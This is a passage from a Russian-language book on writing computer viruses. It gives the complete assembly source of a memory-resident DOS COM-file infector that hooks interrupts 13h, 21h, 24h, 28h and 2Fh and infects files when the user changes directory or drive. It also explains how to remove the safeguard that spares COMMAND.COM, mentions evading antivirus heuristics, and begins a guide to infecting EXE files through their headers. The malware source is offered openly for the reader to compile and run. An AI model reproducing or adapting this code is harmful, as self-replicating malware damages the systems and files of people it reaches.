считывает из DTA слово по смещению 01Ch, и сравнивает его с нулем .Если это
слово равно нулю,размер файла не превышает 64 Кбайт,и его можно заражать .Кроме
того,неплохо было бы проверить формат файла.Для этого нужно проверить
его первые два байта. Если мы имеем дело с EXE - файлом, то указанные байты
содержат ASCII - коды символов " M " и " Z ". Думаю, читатель сам при
желании допишет несколько необходимых для этого команд.
И
последнее - мы выяснили,( см. п. 2.5) что первыми двумя байтами,которые
должны записываться в конец файла, должна быть команда перехода на секцию
инициализации вируса .Эту функцию выполняют команды,записанные за меткой "
write_vir " .Сам код команды перехода хранится в области " end_file " .
*
Не
спешите торжествовать по поводу того, что автор этой книги не смог сделать
вирус, заражающий COMMAND.COM, и поэтому, вероятно, является "чайником". На
самом деле вирус отлично работает с командным процессором и при этом не глюкует.
Защита введена только для вашего же блага, так как заражение COMMAND.COM "
нестандартным " вирусом
-
крайне неприятное событие. Подготовленный читатель без труда снимет такую "
защиту ".
2.15
Восстанавливаем регистры
Перед
тем, как передать управление прерванной программе,необходимо восстановить
значения регистров, которые имели место при получении управления
резидентной программой :
exit_zarasa:
;Восстановим
;регистры
;процессора ...
pop
es
pop
ds
pop
bp
pop
di
pop
si
pop
dx
pop
cx
pop
bx
pop
ax
popf
mov
ss,cs:ss_save-110h ;Восстановим
mov
sp,cs:sp_save-110h ;стек ...
iret
Кроме
того, вирус восстанавливает стек прерванной программы, без чего дальнейшая
работа невозможна .
2.16
Пишем обработчики прерываний
Для
начала выясним, какие прерывания и с какой целью наш вирус будет
перехватывать .
Во
- первых, необходимо перехватить прерывание Int 21h .Дело в том, что наш вирус
является резидентным, и должен заражать файлы при тех или иных
событиях в вычислительной системе.Очень многие вирусы активизируются,
например,при смене текущего диска или каталога .Этот метод является весьма
удачным, и мы реализуем именно его .Но для этого нужно знать, когда именно
выполняются смена каталога или диска.Единственный способ узнать о таком событии
- это перехватить прерывание Int 21h на себя, и при каждом его вызове проверять,
какая именно функция вызывается . Так мы и сделаем .
Во
- вторых, нам не обойтись без перехвата Int 13h ( см п. 2.13 ) .
В
- третьих,поскольку наш вирус будет пользоваться функциями DOS,которые работают
с диском в резидентном режиме,необходимо знать,когда можно безопасно
обращаться к этим функциям . Для этого следует перехватить прерывание Int
28h,которое всегда вызывается только при выполнении DOS реентерабельной
секции своего кода .Иными словами, при возникновении прерывания Int 28h
можно смело пользоваться любыми функциями DOS .
Далее,
для проверки наличия вирусного кода в памяти наш вирус будет использовать
так называемое мультиплексное прерывание - Int 2fh, и поэтому мы должны
перехватить и его ( см п. 2.7 ) .
И,
наконец, мы должны написать обработчик критической ошибки .Она
возникает,например,если мы попытаемся записать информацию на вынутую из
дисковода дискету . Наш вирус должен перехватить прерывание по критической
ошибке ( Int 24h ) и выполнить его обработку .
2.17
Обработчик Int 13h
Как
мы уже выяснили, этот обработчик должен записывать в ячейку " tg_13h "
значение " 1 ", если в данный момент выполняется прерывание Int 13h, или
значение " 0 " - в противном случае .
К
сожалению,в MS DOS отсутствует какое - либо средство, позволяющее узнать,
когда именно активно прерывание Int 13h .И поэтому единственный способ решения
этой задачи - установка на Int 13h так называемого " фильтра ", который
отслеживал бы все вызовы вышеуказанного прерывания .
Самое
простое решение - это перехватить Int 13h на себя,а в самом обработчике вызвать
системный обработчик как дальнюю процедуру .Конечно, перед этим нужно
записать в " tg_13h" единицу - это будет индикатором выполнения Int 13h в
данный момент .Когда системный обработчик выполнится, управление вновь
получит " фильтр ".Поскольку Int 13h уже выполнилось, можно сбросить в "0"
переменную tg_13h. Итак :
;
_______________________________________________ ;|
| ;| Напишем новые обработчики INT 13h, INT 21h, | ;| INT 24h и INT 2fh ...
| ;|_______________________________________________|
to_new_13h
equ $-vir
new_13h: jmp cs:start_13h
tg_13h
db 0
ax_13h
dw 0
cs_13h
dw 0
ip_13h
dw 0
start_13h:
mov cs:tg_13h - 110h,1
pushf
db
9ah
;Код команды
old_13h
dw 0
; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим
новый
pop ax
;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF
)
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov
ax,cs:cs_13h - 110h
push
ax
mov
ax,cs:ip_13h - 110h
push
ax
mov
ax,cs:ax_13h - 110h
mov
cs:tg_13h - 110h,0
iret
Здесь
константа " to_new_13h " показывает смещение от начала вирусного кода до начала
обработчика . Хотелось бы обратить ваше внимание на одну особенность .Она
состоит в том, что прерывания Int 21h и Int 13h возвращают в регистре AX
код ошибки,а бит CF регистра флагов
используется как индикатор этой ошибки .
Пусть,
например, при получении фильтром управления бит CF имел значение FLAG 1, а
регистры CS и IP имели значения CS 1 и IP 1.Тогда команда " pushf " занесет
значение FLAG 1 в стек .Команда "call" поместит в стек значения CS 1 и IP
1,после чего управление получит системный обработчик .Этот обработчик
занесет в стек значение FLAG 2, и при своем завершении выполнит команду "iret"
.Команда "iret" снимет с вершины стека значения IP 1,CS 1 и FLAG2. Теперь уже
наш фильтр сбросит в " 0 " переменную " tg_13h ",и командой " iret " передаст
управление прерванной программе .Но дело в том, что эта команда извлечет из
стека значения IP и CS, которые имели место в момент вызова прерывания Int 13h,
а также регистр флагов FLAG 1 .Таким образом,из стека будет извлечен FLAG 1
вместо FLAG 2 !Чтобы этого не произошло, мы должны поместить в стек FLAG 2
вместо FLAG 1 . Именно для этого предназначены команды,записанные после
ячейки " old_13h_2 ".Работа этих команд особых пояснений не требует .Мы просто "
добираемся " до нужной ячейки в стеке, последовательно считывая
предшествующие .Можно, конечно,
написать
более эффективный фрагмент,зато выбранный нами метод достаточно прост .
2.18
Обработчик Int 21h
Рассмотрим
теперь создание обработчика прерывания Int 21h .Как мы договорились, он должен
помещать " единицу " в ячейку " tg_infect ", если DOS выполняет смену
текущего каталога или диска ( см п.
2.5
) .Поэтому напишем " фильтр ", который будет проверять, какая именно функция DOS
вызвана в тот или иной момент :
;-------------------------------------------------
to_new_21h
equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h:
pushf
push
di
push
es
xor di,di
;Перехват
mov es,di
;INT 24h в рези-
mov di,90h
;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh
;Активизировать
;вирус
?
jne
cs:new_cmp_1
mov
cs:tg_infect-110h,1;Да - взводим ;триггер ...
new_cmp_1:
cmp ah,00eh
jne
cs:to_jump
mov
cs:tg_infect - 110h,1
to_jump: pop es
pop
di
popf
db
0eah
;Переход на ста-
old_21h
dw 0
;рый обработчик
old_21h_2 dw 0
;INT 21h ...
Поскольку
при вызове функции DOS в регистре AH задается ее номер,достаточно просто
проанализировать его и " выловить " нужные значения.Наш вирус будет реагировать
на смену текущего каталога (AH=03Bh),и смену текущего диска (AH=0Eh) .Эти числа
и пытается обнаружить " фильтр " .
Далее
- так как нам нужно всего лишь определить, какая функция DOS вызвана, нет смысла
после завер-
шения
системного обработчика передавать управление обратно в " фильтр " .По этой
причине отпадает необходимость сложных " манипуляций " со стеком,
которые мы проделывали в предыдущем пункте .
Помимо
решения своей конкретной задачи, написанный нами обработчик используется для
перехвата прерывания Int 24h.Делается это прямым обращением к таблице
векторов прерываний . Так же перехватывает прерывания и секция инициализации при
установке вируса в память .Правда, вы можете спросить, зачем потребовалась такая
сложная методика перехвата,
и
почему бы не выполнить его в секции инициализации ? Дело в том, что такой
прием будет "работать" только в MS DOS .WINDOWS 95, например, постоянно
восстанавливает вектор Int 24h, что делает бессмысленным изменение вектора
" только один раз ".Трудно сказать, зачем в WINDOWS 95 принято
восстанавливать вектор .Вероятно, это сделано для надежности работы
системы .При создании резидентного EXE- вируса мы поговорим еще об одной "
странности " этой популярной операционной системы,которая помешает нам
сделать вирусную программу " невидимой " для антивирусных средств .
2.19
Обработчик Int 24h
Этот
обработчик должен устанавливать собственную реакцию на критическую ошибку
.Вызывается он очень редко,поэтому просто сделаем так,чтобы при появлении
ошибки не происходило " зависание " .Для этого достаточно вернуть управление
прерванной программе,поместив предварительно в регистр AL код " 3 ":
;-------------------------------------------------
to_new_24h
equ $ - vir
new_24h: mov al,3
;Вернем програм-
iret
;ме управление
2.20
Обработчик Int 2Fh
Напишем
обработчик Int 2Fh . Мы договорились использовать это прерывание для
проверки наличия вируса в памяти .
Напомним,что
секция инициализации для решения указанной задачи вызывает Int 2Fh c такими
параметрами :
AX
= 0F000h
BX
= 01997h .
Если
вирус уже инсталлирован в память,его обработчик должен вернуть AL = 0FFh,
это значение и анализирует секция инициализации при запуске зараженшой
программы . Исходя из всего сказанного, можно написать такой фрагмент :
;-------------------------------------------------
to_new_2fh equ $ - vir
new_2fh: pushf
cmp
ax,0f000h
jne
cs:not_our
cmp
bx,1997h
jne
cs:not_our
mov
al,0ffh
popf
iret
not_our: popf
db
0eah
old_2fh
dw 0
old_2fh_2 dw 0
Если
вызывается прерывание Int 2Fh с параметрами, отличными от AX = 0F000h и BX = 01997h, вирусный обработчик просто возвращает
управление системному . В
противном случае управление передается прерванной программе, причем в этом случае AL будет равно 0FFh.
2.21
Обработчик Int 28h
Строго
говоря, мы его уже написали ( см. п. 2.5 , п. 2.6 и т.д. ).Именно он занимается
поиском и заражением файлов,пользуясь для этого функциями DOS. Но так как
эти функции используются тогда, когда активно прерывание Int 28h, ничего
страшного произойти не должно .
2.22
Область данных вируса
Теперь
мы можем привести все данные, с которыми работает наш вирус :
;/***********************************************/
;Data
area
old_bytes db 0e9h
;Исходные три
dw vir_len + 0dh
;байта ...
dta_save
db 128 dup (0)
;Массив для DTA
maska
db '*.com',0
;Маска для поис-
;ка
...
fn
db 12 dup (' '),0 ;Место для имени
;файла
new_bytes db 0e9h
;Код команды
;"
JMP ..."
db 00h
;HIGH
db 00h
;LOW
;Он
записывается ;в файл вместо ;первых трех ;байт ...
end_file
db 0ebh
;Первые два бай-
db push_len
;та вируса в
;файле
(команда ;перехода на се- ;кцию инициали- ;зации ...
ss_save
dw 0
;Буфера для SS
sp_save
dw 0
;и SP ...
help_word dw 0
;Промежуточная
;ячейка
.
com_com
db 'COMMAND'
;Имя командного
;процессора
...
inside
db 0
;Ячейка - инди-
;катор
...
last
db 0
;Последний байт
to_newstack
equ $ - vir
;Смещение к сте-
;ку
...
newstack
dw 70 dup ( 0 )
;Новый стек ...
2.23
Процедура идентификации COMMAND.COM
Приведем
текст процедуры, которой пользуется наш вирус. Эта процедура проверяет,является
- ли найденный нами файл командным процессором COMMAND.COM и возвращает
INSIDE = 1, если был найден именно командный процессор .
Итак
:
;-------------------------------------------------
search
proc
;Процедура
push
ax
;сравнивает
push
cx
;строки ...
mov
inside,1
lea
di,fn
lea
si,com_com
mov
cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp
byte ptr ds:[di],al
jne
cs:not_equal
inc
di
inc
si
loop
cs:new_cmp
jmp
cs:to_ret
not_equal:
mov inside,0
to_ret:
pop cx
pop
ax
ret
search
endp
Работа
процедуры достаточно ясна и в комментариях не нуждается .
2.24
Завершаем программу
В
принципе, завершить эту программу можно так же, как и предыдущую :
db '1'
;Последний байт
;вируса
в файле vir_len equ $-vir ;Длина вируса в
;байтах
... vir_par
equ ( $-vir + 0fh ) / 16
;И
в параграфах
prg_end: mov ax,4c00h
;Выход в DOS
INT
21H
;только для за-
;пускающей
прог-
;раммы
...
db '1' ;И ее
последний
;байт
...
prg
ends
;Стандартное
end
start
;" окончание "
;ASM
- программы
Единственное
отличие заключается в том, что потребовалось ввести константу " vir_par
".Она нужна для расчета необходимой длины блока памяти при инсталляции
вируса и в некоторых других вычислениях.
2.25
Текст резидентного COM - вируса
Теперь
мы можем привести полный текст резидентной программы - вируса :
;
_______________________________________________ ;|
| ;| COM TSR virus
| ;| Especially for my readers
| ;|_______________________________________________|
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
start:
jmp vir
org
110h
;С метки " vir " ;фактически на- ;чинается обра- ;ботчик Int 28h
vir:
db 0ebh
;90h - Для рези-
db
push_len
;90h дентной
;
работы .
pushf
cmp
cs:tg_infect-110h,1;Активизиро-
;ваться
?
je
cs:vir_2
;Да ...
call
dword ptr cs:old_28h - 110h
;Нет
- вызовем
;старый
обработ-
;чик
INT 28h,
;чтобы
не топить
;другие
TSR ... iret
vir_2:
popf
;Переключаем
;стек
для TSR -
;исполнения
на mov cs:ss_save-110h,ss ;себя ... mov cs:sp_save-110h,sp
mov
cs:help_word - 110h,cs
mov
ss,cs:help_word - 110h
mov
sp,to_newstack + 136
mov
cs:tg_infect - 110h,0
pushf
;Вызываем старый
db
9ah
;обработчик
old_28h
dw 0
;INT 28h ...
old_28h_2 dw 0
pushf
;Сохраним в сте-
push
ax
;ке регистры ...
push
bx
push
cx
push
dx
push
si
push
di
push
bp
push
ds
push
es
jmp
cs:infect
;Перейти к зара-
;жению
файлов push_len equ $-vir - 2
mov
ax,ds
;Корректируем DS
;для
нерезидент-
;ной
работы ... db 05h
;Код команды
add_to_ds:
dw 0
;" ADD AX,00h "
mov
ds,ax
mov
ax,0f000h
;Проверим, есть
mov
bx,1997h
;вирус в памяти,
int
2fh
;или еще нет ...
jc
fresh_bytes
cmp
al,0ffh
jne
free_mem
;Нет -
;устанавливаем
fresh_bytes:
;Восстанавливаем
mov al,old_bytes
;первые три бай-
;та
зараженной
mov cs:[100h],al ;программы
... mov
al,old_bytes+1
mov
cs:[101h],al
mov
al,old_bytes+2
mov
cs:[102h],al
mov
ax,cs
;Восстанавливаем
;сегментные
mov
es,ax
;регистры ...
mov
start_cs,ax
mov
ds,ax
jmp
cl_conv_1
;Передаем управ-
cl_conv_1:
db 0eah
;ление заражен-
dw
100h
;ной программе
start_cs dw 0
free_mem: mov ah,4ah
;Определим объем
;доступной
памя-
;ти
...
mov
bx,0ffffh
;Заведомо невоз-
int
21h
;можное значение
;(0ffffh)
!
;
_______________________________________________
;|
Закажем свободный блок памяти,чтобы можно было|
;|
записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub
bx,vir_par + 2
;Оставим вирусу
;на
2 параграфа
;больше,
чем
;он
сам занимает mov ah,4ah ;А остальная па- int 21h ;мять будет
jc
fresh_bytes
;занята ...
mov
ah,48h
;Попросим DOS
;отдать
свобод-
;ный
блок нам . mov bx,vir_par + 1 ;Запас в один int
21h
;параграф ... jc fresh_bytes
;
_______________________________________________
;|
Теперь свободный блок памяти найден
|
;|
( сегментный адрес в AX ), и
|
;|
нужно записать в него код вируса ...
|
;|_______________________________________________|
xor di,di
;Делаем вирус
mov bx,ax
;"невидимым" в
dec bx
;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
mov
es,di
;Получаем векто-
;ра
прерываний cli
mov
di,084h
;Int 21h ...
mov
bx,es:[di]
mov
old_21h,bx
mov
bx,es:[di+2]
mov
old_21h_2,bx
mov
di,0bch
;Int 2fh ...
mov
bx,es:[di]
mov
old_2fh,bx
mov
bx,es:[di+2]
mov
old_2fh_2,bx
mov
di,04ch
;Int 13h ...
mov
bx,es:[di]
mov
old_13h,bx
mov
bx,es:[di+2]
mov
old_13h_2,bx
mov
di,0a0h
;Int 28h ...
mov
bx,es:[di]
mov
old_28h,bx
mov
bx,es:[di+2]
mov
old_28h_2,bx
sti
mov
word ptr vir,9090h ;Подготавливаем
mov
tg_infect,0
;вирус к рези-
;дентной
работе
mov
es,ax
;И копируем его
xor
di,di
;в память...
mov
cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov
byte ptr es:[di],bl
inc
di
loop
prg_copy
xor
bx,bx
;Устанавливаем
;вектора
преры-
mov es,bx
;ваний на вирус-
cli
;ные обработчики
mov
di,084h
mov
word ptr es:[di],to_new_21h
mov
es:[di+2],ax
; Int 21h
mov
di,0bch
mov
word ptr es:[di],to_new_2fh
mov
es:[di+2],ax
; Int 2fh
mov
di,04ch
mov
word ptr es:[di],to_new_13h
mov
es:[di+2],ax
; Int 13h
mov
di,0a0h
mov
word ptr es:[di],0
mov
es:[di+2],ax
; Int 28h
sti
jmp
fresh_bytes
;Установка
;завершена
...
infect:
push cs
pop
ds
mov
ax,ds
;TSR - коррекция
sub
ax,11h
;DS ...
mov
ds,ax
cmp
tg_13h,0
;INT 13h
;выполняется
? je cs:all_right ;Нет
... jmp cs:exit_zarasa
;Да - на выход
all_right:
mov ah,2fh
;Получим текущую
int
21h
;DTA ( ES : BX )
mov
bp,bx
mov cx,80h
;Сохраним эту
lea si,dta_save ;DTA ...
mov
di,bp
save_dta:
mov al,byte
ptr es:[di]
mov
[si],al
inc si
inc
di
loop
cs:save_dta
find_first:
;Найдем первый
mov ah,4eh
;файл ...
mov cx,00100111b
lea
dx,maska
int 21h
jnc
cs:retry_2
jmp restore_dta
find_next:
mov ah,3eh
;Закроем непод-
int 21h ;ходящий файл
jnc
cs:retry_1
jmp
cs:restore_dta
retry_1: mov ah,4fh
;Найдем следую-
int 21h ;щий ...
jnc
cs:retry_2
jmp
cs:restore_dta
retry_2: mov cx,12
;Сотрем старое
lea si,fn
;имя в буфере
destroy_name:
mov byte
ptr [si],0
inc si
loop
cs:destroy_name
xor
si,si
;И запишем туда
mov
di,bp
;новое ...
copy_name:
mov al,byte ptr es:[di+1eh]
cmp
al,0
je
cs:check_command
mov byte
ptr fn[si],al
inc si
inc
di
jmp
cs:copy_name
check_command:
;Проверим,
не
;является
- ли call cs:search
;файл командным cmp inside,1
;процессором... je cs:retry_1
mov
ax,3d02h
;Откроем этот
lea dx,fn
;файл ...
int 21h
jnc
cs:save_bytes
jmp
cs:restore_dta
save_bytes:
;Считаем первые
mov bx,ax
;три байта
mov ah,3fh
mov cx,3
lea
dx,old_bytes
int 21h
jnc
cs:found_size
jmp cs:close
found_size:mov
di,bp
cmp
word ptr es:[di+01ch],0
jne
cs:more_64K
;Найдем его раз-
mov ax,es:[di+01ah]
;мер ...
count_size:mov
si,ax
;Вычислим
;смещения
...
cmp
ax,64000
jna
cs:smallest
more_64K: jmp cs:find_next
smallest: test ax,000fh
jz
cs:krat_16
or
ax,000fh
inc ax
krat_16: mov di,ax
sub ax,3
mov byte ptr
new_bytes[1],al
mov byte ptr
new_bytes[2],ah
mov ax,di
mov cl,4
shr ax,cl
dec ax
mov byte ptr add_to_ds,al
mov byte ptr
add_to_ds+1,ah
mov ax,4200h
;Считаем послед-
xor cx,cx
;ний байт ...
dec si
mov dx,si
int 21h
jnc
cs:read_last
jmp cs:close
read_last:
mov
ah,3fh
mov
cx,1
lea
dx,last
int 21h
jc
cs:close
cmp last,'1'
;Индикатор зара-
jne cs:write_vir ;жения ...
jmp
cs:find_next
write_vir:
mov ax,4200h
;Запишем начало
xor cx,cx
;вируса ...
mov
dx,di
int 21h
jc
cs:close
mov
ah,40h
mov
cx,2
lea
dx,end_file
int
21h
jc
cs:close
;И
остальную
mov
ah,40h
;часть ...
mov
cx,vir_len - 2
lea
dx,vir + 2
int
21h
jc
cs:close
write_bytes:
;Запишем первые
mov
ax,4200h ;три
байта
xor
cx,cx
xor
dx,dx
int 21h
jc
cs:close
mov
ah,40h
mov
cx,3
lea
dx,new_bytes
int
21h
close:
mov ah,3eh
;Закроем зара-
int
21h
;женный файл
restore_dta:
mov
cx,80h
;Восстановим DTA
lea
si,dta_save
mov
di,bp
dta_fresh:
mov
al,[si]
mov byte
ptr es:[di],al
inc si
inc
di
loop
cs:dta_fresh
exit_zarasa:
;Выход в систему
pop
es
pop
ds
pop
bp
pop
di
pop
si
pop
dx
pop
cx
pop
bx
pop
ax
popf
mov
ss,cs:ss_save-110h ;Восстановим
mov
sp,cs:sp_save-110h ;стек ...
iret
;-------------------------------------------------
;
_______________________________________________
;|
|
;|
Напишем новые обработчики INT 13h, INT 21h, |
;|
INT 24h и INT 2fh ...
|
;|_______________________________________________|
to_new_13h
equ $-vir
new_13h: jmp cs:start_13h
tg_13h
db 0
ax_13h
dw 0
cs_13h
dw 0
ip_13h
dw 0
start_13h:
mov cs:tg_13h - 110h,1
pushf
db
9ah
old_13h
dw 0
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим
новый
pop ax
;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF
)
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov
ax,cs:cs_13h - 110h
push
ax
mov
ax,cs:ip_13h - 110h
push
ax
mov
ax,cs:ax_13h - 110h
mov
cs:tg_13h - 110h,0
iret
;-------------------------------------------------
to_new_21h
equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h:
pushf
push
di
push
es
xor di,di
;Перехват
mov es,di
;INT 24h в рези-
mov di,90h
;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh
;Активизировать
;вирус
?
jne
cs:new_cmp_1
mov
cs:tg_infect-110h,1;Да - взводим
;триггер
... new_cmp_1: cmp ah,00eh
jne
cs:to_jump
mov
cs:tg_infect - 110h,1
to_jump: pop es
pop
di
popf
db
0eah
;Переход на ста-
old_21h
dw 0
;рый обработчик
old_21h_2 dw 0
;INT 21h ...
;-------------------------------------------------
to_new_24h
equ $ - vir
new_24h: mov al,3
;Вернем програм-
iret
;ме управление и
;код
ошибки ...
;-------------------------------------------------
to_new_2fh
equ $ - vir
new_2fh: pushf
cmp
ax,0f000h
jne
cs:not_our
cmp
bx,1997h
jne
cs:not_our
mov
al,0ffh
popf
iret
not_our: popf
db
0eah
old_2fh
dw 0
old_2fh_2 dw 0
;/***********************************************/
;Data
area
old_bytes db 0e9h
;Исходные три
dw vir_len + 0dh
;байта ...
dta_save
db 128 dup (0)
;Массив для DTA
maska
db '*.com',0
;Маска для поис-
;ка
...
fn
db 12 dup (' '),0 ;Место для имени
;файла
new_bytes db 0e9h
;Код команды
;"
JMP ..."
db 00h
;HIGH
db 00h
;LOW
end_file
db 0ebh
;Первые два бай-
db push_len
;та вируса в
;файле
...
ss_save
dw 0
;Буфера для SS
sp_save
dw 0
;и SP ...
help_word dw 0
;Промежуточная
;ячейка
.
old_attr
db 0
;Исходные атри-
;буты
файла ...
com_com
db 'COMMAND'
;Имя командного
;процессора
...
inside
db 0
;Ячейка - инди-
;катор
...
last
db 0
;Последний байт
to_newstack
equ $ - vir
;Смещение к сте-
;ку
...
newstack
dw 70 dup ( 0 )
;Новый стек ...
;-------------------------------------------------
search
proc
;Процедура
push
ax
;сравнивает
push
cx
;строки ...
mov
inside,1
lea
di,fn
lea
si,com_com
mov
cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp
byte ptr ds:[di],al
jne
cs:not_equal
inc
di
inc
si
loop
cs:new_cmp
jmp
cs:to_ret
not_equal:
mov inside,0
to_ret:
pop cx
pop
ax
ret
search
endp
db '1'
;Последний байт
;вируса
... vir_len
equ $-vir
;Длина вируса в
;байтах
... vir_par
equ ( $-vir + 0fh ) / 16
;И
в параграфах
prg_end: mov ax,4c00h
;Выход в DOS
INT
21H
;только для за-
;пускающей
прог-
;раммы
...
db '1' ;И ее
последний
;байт
...
prg
ends
;Стандартное
end
start
;" окончание "
;ASM
- программы
2.26
Комментарии
В
отличие от предыдущего,разработанный в этой главе вирус может отыскивать
файлы для заражения на всем жестком диске и даже на дискетах . Это делает его
довольно заразным и быстро распространяющимся. Поэтому сложность " конструкции "
окупается эффективностью работы вирусного кода .
Вместе
с тем,наш вирус имеет определенный недостаток .Ведь его обнаруживает такая
распространенная программа, как DOCTOR WEB !В следующей части будет рассказано о
способах разработки вирусов, против которых алгоритм эвристического анализа
оказывается малоэффективным .
2.27
Испытание вируса
Для
исследования работы вируса откомпилируйте его исходный текст для получения COM -
файла . После чего запустите этот COM - файл .
"
Пройдитесь " по различным каталогам и понаблюдайте, как вирус заражает
файлы при смене текущего каталога .Попробуйте перейти на другой диск и
проследите за действиями вируса .И последнее,проверьте, заражается ли
командный процессор .Все вышеуказанные действия нужно проводить очень
аккуратно и не рисковать важными программами, так как вирус, который
мы изготовили, весьма заразный, из-за чего у вас могут быть неприятности .
Кроме
того, очень советую вам " пройти " зараженную программу отладчиком до точки
входа в программный код .
И,наконец,при
инсталлированном в память машины вирусном коде запустите программу DOCTOR
WEB в режиме поиска резидентных вирусов . Вы убедитесь, что наш вирус
обнаруживается как неизвестный .
ЧАСТЬ
2 . EXE - ВИРУСЫ
ГЛАВА
1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE
- ВИРУСА
1.1 Формат EXE - файла на диске
Каждый
EXE - файл, хранимый на диске, состоит из заголовка,таблицы настройки и
собственно программных кодов и данных.В заголовке содержится
информация для настройки адресов и установки значений регистров
процессора, которая используется при загрузке программы .Поскольку
понимание структуры заголовка очень важно для изучения данной и
последующей глав, мы рассмотрим ее уже сейчас .
Итак,заголовок
EXE - файла при хранении его на диске имеет следующий формат :
Байты
0, 1 : Содержат код 4D5Ah, или " MZ
"
Байты
2, 3 : Содержат остаток от деления размера загрузочного модуля на 512
Байты
4, 5 : Содержат размер файла в 512-ти байтовых страницах, округленный в
большую сторону
Байты
6, 7 : Содержат число элементов таблицы настройки адресов
Байты
8, 9 : Содержат размер заголовка в параграфах
Байты
0A,0B : Содержат минимальное число дополнительных параграфов,которые нужны
загруженной программе
Байты
0C,0D : Содержат максимальное число дополнительных параграфов
Байты
0E,0F : Содержат смещение в параграфах сегмента стека в загрузочном
модуле;назовем его SS0
Байты
10,11 : Содержат значение регистра SP, которое устанавливается перед
передачей управления программе ( SP0 )
Байты
12,13 : Содержат контрольную сумму EXE-файла
Байты
14,15 : Содержат значение регистра IP, которое устанавливается перед
передачей управления программе ( IP0 )
Байты
16,17 : Содержат смещение в параграфах сегмента кода в загрузочном
модуле,или CS0
Байты
18,19 : Содержат расстояние в байтах от начала файла до первого элемента
таблицы настройки адресов
Байты
1A,1B : Содержат "0", если данная часть программы является резидентной, или
отличное от нуля число - если данная часть является оверлейной
Заметим,
что контрольная сумма определяется суммированием всех слов, содержащихся в
файле,без учета переполнения.При этом она практически нигде не
используется.
1.2 Загрузка и выполнение EXE -
программы
Действия
MS DOS при запуске EXE - программы отличаются от действий при запуске
программы типа COM, хотя в обоих случаях операционная система использует
одну и ту же функцию EXEC. Действия этой функции при запуске EXE -
программы выглядят так :
1.
Запускаемой программе отводится вся свободная в данный момент оперативная
память .Сегментная часть начального адреса этой памяти обычно называется
начальным сегментом программы.
2.
По нулевому смещению в сегменте, определяемом начальным сегментом программы,EXEC
строит PSP программы.Заполняет PSP по-прежнему операционная система, а
его размер, как и для COM - программы, равен 256 байт .
3.
Сразу вслед за PSP загружается сама EXE - программа.Причем в память
помещается исключительно загрузочный модуль, а заголовок и таблица
настройки в память не копируются.После этого выполняется так называемая
настройка адресов . Ее суть состоит в следующем :
Некоторые
команды (например, команды далекого перехода или вызова процедуры,
расположенной в другом программном сегменте) требуют указания не
только смещения, но и сегмента адреса .Компоновщик строит EXE - модуль
относительно некоторого " начального " адреса,но ведь в MS DOS программы
могут загружаться в произвольную область памяти !Поэтому при загрузке программы
к каждому сегментному адресу прибавляется значение начального сегмента
программы . Этот процесс и называют настройкой адресов .У вас может
возникнуть вопрос, откуда MS DOS знает, где расположены требующие настройки
элементы .Для получения такой информации система использует таблицу
настройки, которая находится в файле по некоторому смещению от его начала .Само
смещение хранится в заголовке в байтах 18h, 19h .
4.
EXEC выполняет настройку регистров процессора. Обозначим начальный сегмент
программы буквами NS0. Тогда устанавливаемые значения регистров будут
выглядеть так :
DS = ES = NS0
CS = NS0 + 10h + CS0
IP = IP0
SS = NS0 + 10h + SS0
SP = SP0
CS0,
SS0, IP0 и SP0 берутся загрузчиком из заголовка EXE - файла, а NS0
становится известным в процессе загрузки .
5.
Теперь загруженную EXE - программу можно исполнить . Для этого EXEC
передает управление по адресу CS : IP .
Стоит
заметить, что размер EXE - файла в MS DOS не ограничивается размером одного
сегмента и может быть очень большим ( примерно 65535*512 = 33553920 байт !).
Правда,для построения очень больших EXE - программ используется оверлейная
структура.При исполнении программы, имеющей оверлейную структуру , она не
загружается в память целиком.Вместо этого в память помещается только ее
резидентная часть, которая по мере необходимости подгружает те или иные
оверлейные фрагменты .
1.3
Как вирус может заразить EXE - файл
Как
и при заражении COM - программ, при заражении EXE - файлов вирусный код может
записываться в конец,начало или в середину файла.Запись в конец
файла,как и в предыдущем случае,реализуется наиболее просто,и кроме
того,предохраняет от многих трудностей при отладке .Поэтому мы создадим
вирус, работающий имено по такому принципу .
Для
того,чтобы при старте зараженной программы код вируса получил управление,
следует соответствующим образом модифицировать заголовок EXE - файла . Для этого
исходные значения CS0 и IP0 заменяются на точку входа в вирусный код, а значения
SS0 и SP0 " переключаются " на собственный стек вируса.Кроме того, поскольку при
заражении изменяются длина загрузочного модуля и длина файла, необходимо
скорректировать поля заголовка по смещению 02h, 03h, а также 04h, 05h .Вот
и все .
Может
показаться, что создать вирус,заражающий EXE
-
файлы, намного сложнее, чем COM - вирус . Однако это не так . Прочтите эту
главу, и вы убедитесь в этом !
1.4
Работа вируса в зараженной программе
Рассмотрим
теперь действия вируса при получении им управления .
Итак,
вирус функционирует по такому алгоритму :
1.
Ищет на диске подходящий EXE - файл .
2.
Записывает свое тело в конец этого файла .
3.
Корректирует заголовок заражаемой программы следующим образом :
a.)
Вместо исходных CS0 и IP0 заражаемой программы записываются значения,
обеспечивающие передачу управления вирусному коду при запуске программы
.
б.)
Исходные SS0 и SP0 заменяются на
значения,
обеспечивающие
переключение на собственный
стек
вируса .
в.)
Корректируется остаток от
деления размера
загрузочного
модуля на 512 .
г.)
Поскольку при заражении длина файла увеличивается, корректируется размер
файла в страницах ( одна страница равна 512 байт ) .
Естественно,
перед корректировкой вирус обязан сохранить исходные параметры заголовка
-ведь они потребуются при передаче управления вирусному коду . После
коррекции заголовок записывается на диск .
4.
